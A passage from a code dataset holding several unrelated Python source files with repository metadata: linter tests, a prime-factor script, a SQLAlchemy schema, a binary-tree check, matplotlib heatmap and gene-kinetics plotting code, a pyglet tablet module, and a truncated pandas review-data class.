run_linter_main(self._temporary_file[1])\n\n # There should be a failure exit status, since empty\n # files will trigger errors in the linter.\n self.assertEqual(result, 1)\n\n def test_inline_suppressions_beside(self):\n \"\"\"Check inline suppressions work beside the error-generating line.\"\"\"\n contents = (\"#\\n\"\n \"#\\n\"\n \"# Description\\n\"\n \"#\\n\"\n \"# See LICENCE.md for Copyright information\"\n \"# suppress(headerblock/copyright)\\n\" # on the same line\n \"\\n\")\n\n with os.fdopen(self._temporary_file[0], \"a+\") as process_file:\n process_file.write(contents)\n\n result = run_linter_main(self._temporary_file[1],\n whitelist=[\"headerblock/copyright\"])\n\n self.assertEqual(result, 0)\n\n def test_blacklist(self):\n \"\"\"Check that blacklisting a test causes it not to run.\"\"\"\n contents = (\"#\\n\"\n \"#\\n\"\n \"# Description\\n\"\n \"#\\n\"\n \"# See /LICENCE.md for Copyright information\\n\"\n \"\\n\")\n\n with os.fdopen(self._temporary_file[0], \"a+\") as process_file:\n process_file.write(contents)\n\n result = run_linter_main(self._temporary_file[1],\n blacklist=[\"headerblock/filename\",\n \"file/spelling_error\"])\n\n self.assertEqual(result, 0)\n\n def test_whitelist_pass(self):\n \"\"\"Check that white-listing a test causes only it to run.\"\"\"\n contents = (\"#\\n\")\n\n with os.fdopen(self._temporary_file[0], \"a+\") as process_file:\n process_file.write(contents)\n\n result = run_linter_main(self._temporary_file[1],\n whitelist=[\"file/newline_last_char\"])\n\n self.assertEqual(result, 0)\n\n def test_whitelist_fail(self):\n \"\"\"Check that white-listing a test causes only it to run.\"\"\"\n contents = (\"#\")\n\n with os.fdopen(self._temporary_file[0], \"a+\") as process_file:\n process_file.write(contents)\n\n result = run_linter_main(self._temporary_file[1],\n whitelist=[\"file/newline_last_char\"])\n\n self.assertEqual(result, 1)\n\n def test_fix_what_you_can(self):\n \"\"\"Check that --fix-what-you-can modifies file correctly.\"\"\"\n contents = (\"#\")\n\n with os.fdopen(self._temporary_file[0], \"a+\") as process_file:\n process_file.write(contents)\n\n run_linter_main(self._temporary_file[1],\n whitelist=[\"file/newline_last_char\"],\n fix_what_you_can=True)\n\n with open(self._temporary_file[1], \"r\") as processed_file:\n self.assertEqual(\"#\\n\", processed_file.read())\n\n @parameterized.expand([c for c in linter.LINTER_FUNCTIONS.keys()])\n def test_show_checks(self, check):\n \"\"\"Check that --checks shows a specified check.\"\"\"\n if check != list(linter.LINTER_FUNCTIONS.keys())[-1]:\n final_ellipsis = \" ...\"\n else:\n final_ellipsis = \"\"\n\n doctest_contents = (\"... * {0}{1}\").format(check, final_ellipsis)\n\n with capture() as captured:\n self.patch(sys, \"exit\", lambda _: None)\n linter.main([\"--checks\"])\n\n self.assertThat(captured.stdout, # suppress(PYC70)\n DocTestMatches(doctest_contents,\n doctest.ELLIPSIS |\n doctest.NORMALIZE_WHITESPACE |\n doctest.REPORT_NDIFF))\n\n def test_log_technical_words_over_two_files(self):\n \"\"\"Check that --log-technical-words combines found technical words.\"\"\"\n @contextmanager\n def in_dir(directory):\n \"\"\"Perform actions in the context of directory.\"\"\"\n last_directory = os.getcwd()\n os.chdir(directory)\n try:\n yield\n finally:\n os.chdir(last_directory)\n\n temporary_dir = tempfile.mkdtemp(prefix=os.path.join(os.getcwd(),\n \"technical\"))\n self.addCleanup(lambda: shutil.rmtree(temporary_dir))\n\n with in_dir(temporary_dir):\n first_file_path = os.path.join(temporary_dir, \"first_file.txt\")\n second_file_path = os.path.join(temporary_dir, \"second_file.txt\")\n tech_terms_path = os.path.join(temporary_dir,\n \"technical_terms.txt\")\n\n with open(first_file_path, \"w\") as f:\n f.write(\"#\\n technical_term_one shared_technical_term\\n\")\n\n with open(second_file_path, \"w\") as f:\n f.write(\"#\\n technical_term_two shared_technical_term\\n\")\n\n run_with_kwargs_as_switches(linter.main,\n first_file_path,\n second_file_path,\n whitelist=[\"file/spelling_error\"],\n log_technical_terms_to=tech_terms_path)\n\n with open(tech_terms_path, \"r\") as f:\n logged_technical_terms = f.read().splitlines()\n\n self.assertThat(logged_technical_terms,\n MatchesSetwise(Equals(\"technical_term_one\"),\n Equals(\"technical_term_two\"),\n Equals(\"shared_technical_term\")))\n","repo_name":"polysquare/polysquare-generic-file-linter","sub_path":"test/test_linter_acceptance.py","file_name":"test_linter_acceptance.py","file_ext":"py","file_size_in_byte":11064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"17728017787","text":"from project_euler.decorators import print_run_time\n\n\ndef is_prime(n: int) -> bool:\n smallest_prime = 2\n if n < smallest_prime:\n prime = False\n elif n <= 3: # noqa PLR2004\n prime = True # 2 and 3 are prime\n elif (n % 2 == 0) or (n % 3 == 0):\n prime = False\n else:\n prime = True\n f = 5 # next prime after 3\n while f**2 <= n:\n prime = (n % f != 0) and (n % (f + 2) != 0)\n if not prime:\n break\n f += 6\n return prime\n\n\ndef get_next_prime(n: int) -> int:\n smallest_prime = 2\n if n < smallest_prime:\n p = smallest_prime\n else:\n p = n + (n % 2 + 1)\n while not is_prime(p):\n if (p - 1) % 6 == 0:\n p += 4\n else:\n p += 2\n return p\n\n\n@print_run_time\ndef largest_prime_factor(n: int) -> int:\n this_prime = 2\n while not is_prime(n):\n if n % this_prime == 0:\n print(f\"{this_prime} divides {n}\")\n n = n // this_prime\n else:\n this_prime = get_next_prime(this_prime)\n if this_prime > (n**0.5):\n break\n return n\n\n\nif __name__ == \"__main__\":\n n = 600851475143\n print(f\"What is the largest prime factor of the number {n}?\")\n print(f\"answer = {largest_prime_factor(n)}\")\n","repo_name":"aclerc/project-euler","sub_path":"project_euler/largest_prime_factor.py","file_name":"largest_prime_factor.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"31377045338","text":"import sqlalchemy as db\nfrom operator import add\nfrom unittest import result\nfrom sqlalchemy import engine, create_engine, MetaData, Table, Column, String, ForeignKey, Date, join, Integer\nfrom sqlalchemy.sql import func, select\nfrom sqlalchemy.sql.expression import update\nfrom datetime import date\n\nengine = create_engine('sqlite:///customer.db', echo=True)\nmeta = MetaData()\n\ncustomers = Table(\n 'customers', meta,\n Column('id', Integer, primary_key=True),\n Column('name', String),\n Column('phone', String),\n)\norders = Table(\n 'orders', meta,\n Column('id', Integer, primary_key=True),\n Column('cus_id', Integer, ForeignKey('customers.id')),\n Column('order_date', db.DateTime),\n Column('Shipping_date', db.DateTime),\n Column('total', Integer),\n Column('shipping_status', Integer),\n)\n\nproducts = Table(\n 'products', meta,\n Column('id', Integer, primary_key=True),\n Column('name', String),\n)\n\norders_Items = Table(\n 'orders_Items', meta,\n Column('id', Integer, primary_key=True),\n Column('pro_id', Integer, ForeignKey('products.id')),\n Column('or_id', Integer, ForeignKey('orders.id')),\n Column('qty', Integer),\n Column('unit_cost', Integer),\n Column('total', Integer),\n)\n\nmeta.create_all(engine)\n\nconnection = engine.connect()\n","repo_name":"Abir835/SQLALCHEMY","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"19864622838","text":"# Nathan Zhu Jan 20th, 2020 10:30 pm \n# Leetcode 958 | medium | medium\n# Category: Binary tree\n# So, I did this question in C++ with a level order traversal,\n# now, saw a heap-indexing soln. This one is cooler.\n\n\n# Intuition:\n# Runtime: O(N)\n# Space : O(h)\n# In a complete binary tree, the maximim right tree index (with 1 based indexing)\ndef isCompleteTree(root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n # Returns a pair:\n # (num nodes in subtree, maximum right index)\n # In a complete binary tree, the maximim right tree index (with 1 based indexing)\n # should be equal to number of nodes in subtree.\n \n def helper(root, coord):\n if not root: return 0, 0 \n \n l = helper(root.left, 2 * coord)\n r = helper(root.right, 2 * coord + 1)\n \n tot_nodes = l[0] + r[0] + 1\n right_most = max(coord, l[1], r[1])\n return tot_nodes, right_most\n \n if not root: return True\n tot_nodes, right_most = helper(root, 1)\n return tot_nodes == right_most","repo_name":"nathanzhu144/practices","sub_path":"tree/958_check_completeness_bt.py","file_name":"958_check_completeness_bt.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"23"} +{"seq_id":"9460727723","text":"import numpy as np\nimport matplotlib\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport os.path\n\n\"\"\"\nThis class defines methods to visualise project components in an intuitive\nway. This includes:\n - networks\n - traffic assignment matrices\n - flows\n\nFor some very nice examples of matrix visualisation on how to create annonated\nheatmaps (helper functions in this code are taken from it):\nhttps://matplotlib.org/gallery/images_contours_and_fields/image_annotated_heatmap.html#sphx-glr-gallery-images-contours-and-fields-image-annotated-heatmap-py\n\"\"\"\n\n# Some helper functions for matrix visualisation\ndef heatmap(data, row_labels, col_labels, \n ax=None, title=None, xlabel=None, ylabel=None, \n show_cbar=True, cbar_kw={}, cbarlabel=\"\", **kwargs\n ):\n \"\"\"\n Create a heatmap from a numpy array and two lists of labels.\n\n Arguments:\n data : A 2D numpy array of shape (N,M)\n row_labels : A list or array of length N with the labels for the rows\n col_labels : A list or array of length M with the labels for the columns\n Optional arguments:\n ax : A matplotlib.axes.Axes instance to which the heatmap\n is plotted. If not provided, use current axes or\n create a new one.\n title : Figure's title.\n xlabel : X-axis title.\n ylabel : Y-axis title.\n show_cbar : Whether to show colorbar.\n cbar_kw : A dictionary with arguments to\n :meth:`matplotlib.Figure.colorbar`.\n cbarlabel : The label for the colorbar\n All other arguments are directly passed on to the imshow call.\n \"\"\"\n\n if not ax:\n ax = plt.gca()\n\n # Plot the heatmap\n im = ax.imshow(data, **kwargs)\n\n # Create colorbar if required\n if show_cbar:\n cbar = ax.figure.colorbar(im, ax=ax, **cbar_kw)\n cbar.ax.set_ylabel(cbarlabel, rotation=-90, va=\"bottom\")\n\n # We want to show all ticks...\n ax.set_xticks(np.arange(data.shape[1]))\n ax.set_yticks(np.arange(data.shape[0]))\n # ... and label them with the respective list entries.\n ax.set_xticklabels(col_labels)\n if xlabel:\n ax.set_xlabel(xlabel, labelpad=8)\n ax.set_yticklabels(row_labels)\n if ylabel:\n ax.set_ylabel(ylabel, labelpad=8)\n\n # Figure's title\n if title:\n ax.set_title(title)\n\n # Let the horizontal axes labeling appear on top.\n ax.tick_params(top=False, bottom=True, labeltop=False, labelbottom=True)\n\n # Rotate the tick labels and set their alignment.\n # plt.setp(ax.get_xticklabels(), rotation=-30, ha=\"right\",\n # rotation_mode=\"anchor\")\n plt.setp(ax.get_xticklabels(), rotation=45, ha='center')#, position=(0,-0.1))\n\n # Turn spines off and create white grid.\n for _, spine in ax.spines.items():\n spine.set_visible(False)\n\n ax.set_xticks(np.arange(data.shape[1]+1)-.5, minor=True)\n ax.set_yticks(np.arange(data.shape[0]+1)-.5, minor=True)\n ax.grid(which=\"minor\", color=\"w\", linestyle='-', linewidth=3)\n ax.tick_params(which=\"minor\", bottom=False, left=False)\n\n return im\n\n\ndef annotate_heatmap(im, data=None, valfmt=\"{x:.2f}\",\n textcolors=[\"black\", \"white\"],\n threshold=None, **textkw):\n \"\"\"\n A function to annotate a heatmap.\n\n Arguments:\n im : The AxesImage to be labeled.\n Optional arguments:\n data : Data used to annotate. If None, the image's data is used.\n valfmt : The format of the annotations inside the heatmap.\n This should either use the string format method, e.g.\n \"$ {x:.2f}\", or be a :class:`matplotlib.ticker.Formatter`.\n textcolors : A list or array of two color specifications. The first is\n used for values below a threshold, the second for those\n above.\n threshold : Value in data units according to which the colors from\n textcolors are applied. If None (the default) uses the\n middle of the colormap as separation.\n\n Further arguments are passed on to the created text labels.\n \"\"\"\n\n if not isinstance(data, (list, np.ndarray)):\n data = im.get_array()\n\n # Normalize the threshold to the images color range.\n if threshold is not None:\n threshold = im.norm(threshold)\n else:\n threshold = im.norm(data.max())/2.\n\n # Set default alignment to center, but allow it to be\n # overwritten by textkw.\n kw = dict(horizontalalignment=\"center\", verticalalignment=\"center\")\n kw.update(textkw)\n\n # Get the formatter in case a string is supplied\n if isinstance(valfmt, str):\n valfmt = matplotlib.ticker.StrMethodFormatter(valfmt)\n\n # Loop over the data and create a `Text` for each \"pixel\".\n # Change the text's color depending on the data.\n texts = []\n for i in range(data.shape[0]):\n for j in range(data.shape[1]):\n kw.update(color=textcolors[im.norm(data[i, j]) > threshold])\n text = im.axes.text(j, i, valfmt(data[i, j], None), **kw)\n texts.append(text)\n\n return texts\n\nclass Vis():\n \"\"\"\n Visualiser class\n \"\"\"\n\n net = None\n last_fig = None # Last figure plotted\n\n def __init__(self, net):\n self.net = net\n\n def visualise_network(self, title=None, figsize=None):\n # Calculate grid dimensions\n # TODO: Include title and other options\n # TODO: Better use of network properties to determine figures' size\n if not figsize:\n side = min(len(self.net.nodes),10)\n figsize = (side,side)\n self.last_fig, _ = plt.subplots(figsize=figsize)\n nx.draw_kamada_kawai(self.net.G, with_labels=True)\n\n def visualise_ss_am(self, mat='A', figsize=None, show=True):\n \"\"\"Prints specified single-step assignment matrix as a heatmap.\n \n Keyword Arguments:\n mat {str} -- Assignment matrix to be visualised, 'A', 'P', or \n 'A_path' (default: {'A'})\n figsize {tuple} -- Size of figure to be saved (default: {None})\n show {bool} -- Whether to plot figure or not (defult: {True})\n \"\"\"\n\n if mat == 'A':\n cols = self.net.od_pairs\n xlabel = 'OD pairs'\n cmap = 'Reds'\n elif mat == 'P':\n cols = self.net.origins\n xlabel = 'Origins'\n cmap = 'Reds'\n elif mat == 'A_path':\n cols = list(map(\n lambda i: 'p_{i}'.format(i=i),\n range(len(self.net.paths))\n ))\n xlabel = 'Paths'\n valfmt = '{x: d}'\n show_cbar = False\n cmap = 'binary'\n print('List of paths:')\n for (i,p) in enumerate(self.net.paths):\n print('\\tp_{i} = {p}'.format(i=i, p=p))\n else:\n raise ValueError(\n '''Assignment matrix {m} is not recognised, possible options are:\n - A (for OD flows)\n - P (for O flows)\n - A_ms (for path flows)'''.format(m=mat))\n\n vals = getattr(self.net, mat)\n title = 'Assignment matrix ' + mat\n rows = self.net.links\n valfmt = '{x: .2f}'\n show_cbar = True\n textcolors = ['black', 'white']\n if not figsize:\n w = min(len(rows),10)\n h = min(len(cols),10)\n figsize = (h,w)\n self.last_fig, ax = plt.subplots(figsize=figsize)\n im = heatmap(\n vals, rows, cols, ax=ax, title=title, xlabel=xlabel, ylabel='Links',\n show_cbar=show_cbar, cmap=cmap, cbarlabel=\"traffic fraction per link\"\n )\n annotate_heatmap(im, valfmt=valfmt, textcolors=textcolors)\n\n # fig.tight_layout()\n if show:\n plt.show()\n\n def visualise_ms_am(self, mat='A_ms', figsize=None, show=True):\n \"\"\"Prints specified multi-step assignment matrix as a heatmap.\n \n Keyword Arguments:\n mat {str} -- Assignment matrix to be visualised (default: {'A_ms'})\n figsize {tuple} -- Size of figure to be saved (default: {None})\n show {bool} -- Whether to plot figure or not (default: {True})\n \"\"\"\n rows = self.net.links\n textcolors = ['black', 'white']\n valfmt = '{x: .2f}'\n if mat == 'A_ms':\n if not figsize:\n w = len(self.net.A_ms) * min(10, len(self.net.links))\n h = min(10, len(self.net.od_pairs)+2)\n figsize = (h,w)\n self.last_fig, axs = plt.subplots(len(self.net.A_ms), 1, figsize=figsize)\n\n cols = self.net.od_pairs\n show_cbar = False\n cmap = 'Reds'\n for t in range(len(self.net.A_ms)):\n # if t > 0:\n # show_cbar = False\n vals = self.net.A_ms[t]\n title = 'Assignment matrix A_ms[{t}]'.format(t=t)\n im = heatmap(\n vals, rows, cols, ax=axs[t], title=title,\n show_cbar=show_cbar, cmap=cmap, cbarlabel=\"traffic fraction per link\"\n )\n annotate_heatmap(im, valfmt=valfmt, textcolors=textcolors)\n # TODO: take care of xlabel and ylabel\n elif mat == 'P_ms':\n if not figsize:\n w = len(self.net.P_ms) * min(10, len(self.net.links))\n h = min(10, len(self.net.origins)+2)\n figsize = (h,w)\n self.last_fig, axs = plt.subplots(len(self.net.P_ms), 1, figsize=figsize)\n\n cols = self.net.origins\n show_cbar = False\n cmap = 'Reds'\n for t in range(len(self.net.P_ms)):\n # if t > 0:\n # show_cbar = False\n vals = self.net.P_ms[t]\n title = 'Assignment matrix A_ms[{t}]'.format(t=t)\n im = heatmap(\n vals, rows, cols, ax=axs[t], title=title,\n show_cbar=show_cbar, cmap=cmap, cbarlabel=\"traffic fraction per link\"\n )\n annotate_heatmap(im, valfmt=valfmt, textcolors=textcolors)\n # TODO: take care of xlabel and ylabel\n if show:\n self.last_fig.show()\n\n\n\n def visualise_flows(self, flows='link'):\n pass\n\n def save_figure(self, fname):\n \"\"\"Save last figure plotted with this instance.\n \n Arguments:\n fname {str} -- String containing path to filename\n \"\"\"\n # Avoid overwriting\n file_exists = os.path.isfile(fname)\n i=1\n next_fname = fname + '({i})'.format(i=i)\n while file_exists:\n fname = next_fname\n file_exists = os.path.isfile(fname)\n lbrack = next_fname.rfind('(')\n rbrack = next_fname.rfind(')')\n next_fname = next_fname[:lbrack+1] + str(i) + next_fname[rbrack:]\n i += 1\n self.last_fig.save_figure(fname, format='pdf')","repo_name":"JBacchelli/FYP2019","sub_path":"Code/src/visualiser.py","file_name":"visualiser.py","file_ext":"py","file_size_in_byte":11054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"27695772269","text":"#!/usr/bin/env python\n\n'''\n'''\n\n__docformat__ = 'restructuredtext'\n__version__ = '$Id: $'\n\nimport ctypes\n\nimport pyglet\nfrom pyglet.input.base import Tablet, TabletCanvas, TabletCursor\nfrom pyglet.window.carbon import CarbonEventHandler\nfrom pyglet.libs.darwin import *\nfrom pyglet.libs.darwin import _oscheck\n\nclass CarbonTablet(Tablet):\n name = 'OS X System Tablet'\n\n def open(self, window):\n return CarbonTabletCanvas(window)\n\n_carbon_tablet = CarbonTablet()\n\nclass CarbonTabletCanvas(TabletCanvas):\n def __init__(self, window):\n super(CarbonTabletCanvas, self).__init__(window)\n\n for funcname in dir(self):\n func = getattr(self, funcname)\n if hasattr(func, '_platform_event'):\n window._install_event_handler(func)\n\n self._cursors = {}\n self._cursor = None\n\n def close(self):\n # XXX TODO remove event handlers.\n pass\n\n def _get_cursor(self, proximity_rec):\n key = (proximity_rec.vendorID,\n proximity_rec.tabletID, \n proximity_rec.pointerID,\n proximity_rec.deviceID, \n proximity_rec.systemTabletID,\n proximity_rec.vendorPointerType,\n proximity_rec.pointerSerialNumber,\n proximity_rec.uniqueID,\n proximity_rec.pointerType)\n\n if key in self._cursors:\n cursor = self._cursors[key]\n else:\n self._cursors[key] = cursor = \\\n CarbonTabletCursor(proximity_rec.pointerType)\n\n self._cursor = cursor\n return cursor\n\n @CarbonEventHandler(kEventClassTablet, kEventTabletProximity) \n @CarbonEventHandler(kEventClassTablet, kEventTabletPoint) \n @CarbonEventHandler(kEventClassMouse, kEventMouseDragged)\n @CarbonEventHandler(kEventClassMouse, kEventMouseDown)\n @CarbonEventHandler(kEventClassMouse, kEventMouseUp)\n @CarbonEventHandler(kEventClassMouse, kEventMouseMoved)\n def _tablet_event(self, next_handler, ev, data):\n '''Process tablet event and return True if some event was processed.\n Return True if no tablet event found.\n '''\n event_type = ctypes.c_uint32()\n r = carbon.GetEventParameter(ev, kEventParamTabletEventType,\n typeUInt32, None,\n ctypes.sizeof(event_type), None,\n ctypes.byref(event_type))\n if r != noErr:\n return False\n\n if event_type.value == kEventTabletProximity:\n proximity_rec = TabletProximityRec()\n _oscheck(\n carbon.GetEventParameter(ev, kEventParamTabletProximityRec,\n typeTabletProximityRec, None, \n ctypes.sizeof(proximity_rec), None, \n ctypes.byref(proximity_rec))\n )\n cursor = self._get_cursor(proximity_rec)\n if proximity_rec.enterProximity:\n self.dispatch_event('on_enter', cursor)\n else:\n self.dispatch_event('on_leave', cursor)\n elif event_type.value == kEventTabletPoint:\n point_rec = TabletPointRec()\n _oscheck(\n carbon.GetEventParameter(ev, kEventParamTabletPointRec,\n typeTabletPointRec, None,\n ctypes.sizeof(point_rec), None,\n ctypes.byref(point_rec))\n )\n #x = point_rec.absX\n #y = point_rec.absY\n x, y = self.window._get_mouse_position(ev)\n pressure = point_rec.pressure / float(0xffff)\n #point_rec.tiltX,\n #point_rec.tiltY,\n #point_rec.rotation,\n #point_rec.tangentialPressure,\n self.dispatch_event('on_motion', self._cursor, x, y, pressure, \n 0., 0.)\n\n carbon.CallNextEventHandler(next_handler, ev)\n return noErr\n\nclass CarbonTabletCursor(TabletCursor):\n def __init__(self, cursor_type):\n # First approximation based on my results from a Wacom consumer\n # tablet\n if cursor_type == 1:\n name = 'Stylus'\n elif cursor_type == 3:\n name = 'Eraser'\n super(CarbonTabletCursor, self).__init__(name)\n\n\ndef get_tablets(display=None):\n return [_carbon_tablet]\n","repo_name":"fnmwolf/Anaconda","sub_path":"Anaconda/pyglet/input/carbon_tablet.py","file_name":"carbon_tablet.py","file_ext":"py","file_size_in_byte":4240,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"23"} +{"seq_id":"31096136882","text":"import matplotlib.ticker as ticker\nfrom matplotlib.colors import ListedColormap\nfrom matplotlib.ticker import AutoMinorLocator\nfrom matplotlib.lines import Line2D\nimport matplotlib.pyplot as plt\nfrom matplotlib.cm import get_cmap\nimport matplotlib as mpl\nimport matplotlib\nplt.rcParams['font.sans-serif'] = \"Arial\"\nplt.rcParams['font.size'] = 8\nplt.rcParams['axes.linewidth'] = 2\n\nfrom scipy import stats\nimport numpy as np\nimport pandas as pd\nimport re\nimport sys\n\n\ndef plot_sgl(df_combine, labels):\n\n\tncols=2\n\tfig,ax = plt.subplots(figsize=(8, 8),ncols=ncols,constrained_layout=True)\n\n\tfor i in range(ncols):\n\t\tdf = df_combine.loc[df_combine['select']==0]\n\t\tdf1 = df_combine.loc[df_combine['select']==1]\n\t\n\t\tva2,va1 = [ 'log2(burst frequency_fc)', 'log2(burst size_fc)']\n\t\tva2_alias,va1_alias = [ 'log2($bf_{H2}$/$bf_{H1}$))', 'log2($bs_{H2}$/$bs_{H1}$))']\n\t\n\t\tcolors = ListedColormap(['gray','#e97817'])\n\t\tlabels=['Other genes',\\\n\t\t\t'Genes w/ log2($mean_{H2}$/$mean_{H1}$) < log2($var_{H2}$/$var_{H1}$)']\n\t\tax[i].scatter(df[va1], df[va2], c='gray', s=4)\n\t\tax[i].scatter(df1[va1],df1[va2],c='#e97817', s=10, marker='D',linewidths=0.5, edgecolors='k')\n\t\n\t\tax[i].xaxis.set_minor_locator(AutoMinorLocator())\n\t\tax[i].set_xlabel(va1_alias)\n\t\tax[i].set_ylabel(va2_alias)\n\n\t\taxislim = -6*i +8\n\t\tx=np.arange(-axislim,axislim, 0.1)\n\t\ty=np.arange(-axislim,axislim, 0.1)\n\t\tax[i].set_xlim(-axislim,axislim)\n\t\tax[i].set_ylim(-axislim,axislim)\n\t\tax[i].plot(x,-y,ls='dotted', c='gray',lw=1)\n\t\tax[i].axhline(y=1, ls='dotted', c='gray',lw=1)\n\t\tax[i].axhline(y=-1, ls='dotted', c='gray',lw=1)\n\t\tax[i].axhline(y=0, ls='dotted', c='gray',lw=1)\n\t\tax[i].axvline(x=0, ls='dotted', c='gray',lw=1)\n\t\tax[i].axvline(x=1, ls='dotted', c='gray',lw=1)\n\t\tax[i].axvline(x=-1, ls='dotted', c='gray',lw=1)\n\n\t\tif i==0:\n\t\t\tax[i].vlines(-1, -1, 1, lw=2, color='k')\n\t\t\tax[i].vlines(1, -1, 1, lw=2, color='k')\n\t\t\tax[i].hlines(-1, -1, 1, lw=2, color='k')\n\t\t\tax[i].hlines(1, -1, 1, lw=2, color='k')\n\t\tax[i].set_aspect('equal', adjustable='box')\t\n\n\tlegend_elements = [Line2D([0], [0], marker='o', color='w', label=labels[0],\n\t\t\tmarkerfacecolor='gray', markersize=8)]\n\tlegend_elements += [Line2D([0], [0], marker='D', color='w', label=labels[1],\n\t\t\tmarkerfacecolor='#e97817', markersize=10)]\n\n\tplt.legend(handles=legend_elements, bbox_to_anchor=(0.1, 1.05), frameon=False)\n\tplt.savefig('kp_distribution.pdf')\n\tplt.savefig('kp_distribution.png')\n\tplt.show()\n\ndef plot2(df):\n\n\tfig,ax = plt.subplots(ncols=2,sharex=True,sharey=True,constrained_layout=True,figsize=(6, 3))\n\n\td = {'Group1':['log2(mean_fc)', 'log2(burst frequency_fc)'], 'Group2':['log2(var_fc)', 'log2(burst frequency_fc)']}\n\tfor i, (key, value) in enumerate(d.items()):\n\n\t\tva2,va1 = value\n\t\tdf_va1 = df[va1]\n\t\tdf_va2 = df[va2]\n\n\t\tnorm = mpl.colors.Normalize(vmin=0, vmax=10)\n\t\tif i > 2: p1 = ax[i].scatter(df_va1, df_va2, c=abs(df['log2(burst frequency_fc)']), \\\n\t\t\t\t\tcmap='winter_r', s=6, norm=norm)\n\t\telse: ax[i].scatter(df_va1, df_va2, c='tab:blue',s=6)\n\t\tax[i].xaxis.set_minor_locator(AutoMinorLocator())\n\t\tax[i].set_xlim(-3,3)\n\t\tax[i].set_ylim(-3,3)\n\t\tax[i].set_xlabel(va1)\n\t\tax[i].set_ylabel(va2)\n\n\t\tx=np.arange(-3, 3, 0.1)\n\t\ty=np.arange(-3, 3, 0.1)\n\t\tax[i].plot(x,y,ls='dotted', c='gray',lw=1)\n\t\tax[i].axhline(y=1, ls='dotted', c='gray',lw=1)\n\t\tax[i].axhline(y=-1, ls='dotted', c='gray',lw=1)\n\t\tax[i].axhline(y=0, ls='dotted', c='gray',lw=1)\n\t\tax[i].axvline(x=0, ls='dotted', c='gray',lw=1)\n\t\tax[i].axvline(x=1, ls='dotted', c='gray',lw=1)\n\t\tax[i].axvline(x=-1, ls='dotted', c='gray',lw=1)\n\t\tax[i].plot(x,y,ls='dotted', c='gray', lw=1)\n\n#\tcbar = plt.colorbar(p1, ax=ax[1])\n#\tcbar.ax.set_ylabel('log2(burst frequency_fc)', rotation=270)\n\tplt.savefig('kp_distribution.png')\n\tplt.show()\n\ndef main():\n\n\tkinetics_input_list = sys.argv[1].split(',')\n\tlabels = sys.argv[2].split(',')\n\toutput = sys.argv[3]\n\n\tdf_combine = pd.DataFrame()\t\n\tfor i, kinetics_input in enumerate(kinetics_input_list):\n\n\t\tkinetics = pd.read_csv(kinetics_input, header=0,index_col=0)\n\t\tkinetics[['gene','allele']] = kinetics.index.to_series().str.split('-', n=1, expand=True)\n\t\tkinetics['burst size'] = kinetics['ksyn']/kinetics['koff']\n\t\tkinetics['burst frequency'] = kinetics['kon'] * kinetics['koff'] / (kinetics['kon'] + kinetics['koff'])\n\t\tkinetics['fraction'] = kinetics['kon'] / (kinetics['kon'] + kinetics['koff'])\n\t\n\t\tH1_kinetics = kinetics.loc[kinetics['allele']=='H1_allele']\n\t\tH2_kinetics = kinetics.loc[kinetics['allele']=='H2_allele']\n\t\tdf = pd.merge(H1_kinetics, H2_kinetics, on='gene', suffixes=('_m','_p'))\n\t\tfc_cols=[]\n\t\tfor kp in ['kon','koff','ksyn','burst size', 'burst frequency','mean','var']:\n\t\t\tdf['%s_fc'%kp] = df['%s_p'%kp] / df['%s_m'%kp]\n\t\t\tdf['log2(%s_fc)'%kp] = df['%s_fc'%kp].transform(np.log2)\t\n\t\n\n\t\t#select0 = (abs(df['log2(burst frequency_fc)']) > np.log2(2)) | (abs(df['log2(burst size_fc)']) > np.log2(2)) \n\t\t#select = select0\n\t\t#df_select = df.loc[select]\n\t\tselect0 = True\n\t\tdf_select = df\t\n\n\t\tselect00 = ( 2*abs(df['log2(mean_fc)'])) < abs(df['log2(var_fc)'])\n\t\tselect1 = select0 & select00\t\n\t\n\t\tdf_select['select'] = 0\n\t\tdf_select.loc[select1,'select'] = 1\n\t\tdf_select['sample'] = labels[i]\n\t\tif len(df_combine) < 1: df_combine = df_select\n\t\telse: df_combine = pd.concat([df_combine, df_select])\n\n\toutput_cols = ['sample','gene','log2(burst size_fc)', 'log2(burst frequency_fc)', 'log2(mean_fc)', 'log2(var_fc)','select']\n\tdf_combine[output_cols].drop_duplicates().to_csv('%s_burstfc.csv'%output,index=False)\n\tplot_sgl(df_combine,labels)\n\nif __name__ == \"__main__\":\n\tmain()\n\n\n\n\n\n\n\n\n\n","repo_name":"jin-bowen/ASEkinetics-analysis","sub_path":"fine_mapping/kp_stat.py","file_name":"kp_stat.py","file_ext":"py","file_size_in_byte":5526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"20105283688","text":"import datetime\nimport pandas as pd\nclass PlotData:\n def __init__(self) -> None:\n self.df = pd.read_csv(\"./resources/new_orlean_restaurant_reviews.csv\", parse_dates=['date'])\n\n def get_box_plot_data(self, business_id):\n result = []\n temp_df = self.df[self.df[\"business_id\"] == business_id]\n print(temp_df[\"business_id\"])\n for index, row in temp_df.iterrows():\n temp_date = row[\"date\"].date()\n temp_date = temp_date.replace(day=1)\n result.append({\n \"date\": temp_date.isoformat(),\n \"review_id\": row[\"review_id\"],\n \"stars\": row[\"stars\"]\n })\n return result\n\n def get_review_content(self, business_id, review_id):\n temp_df = self.df[self.df[\"business_id\"] == business_id]\n data = temp_df[temp_df[\"review_id\"] == review_id]\n return {\n \"text\": data.iloc[0][\"text\"],\n \"useful\": int(data.iloc[0][\"useful\"]),\n \"cool\": int(data.iloc[0][\"cool\"])\n }\n\n def get_positive_highest(self, business_id, start_date, end_date):\n temp_df = self.df[self.df[\"business_id\"] == business_id]\n datas = temp_df[(temp_df[\"date\"] > start_date) & (temp_df[\"date\"] < end_date)]\n data = temp_df[temp_df[\"useful\"] == temp_df.loc[:, 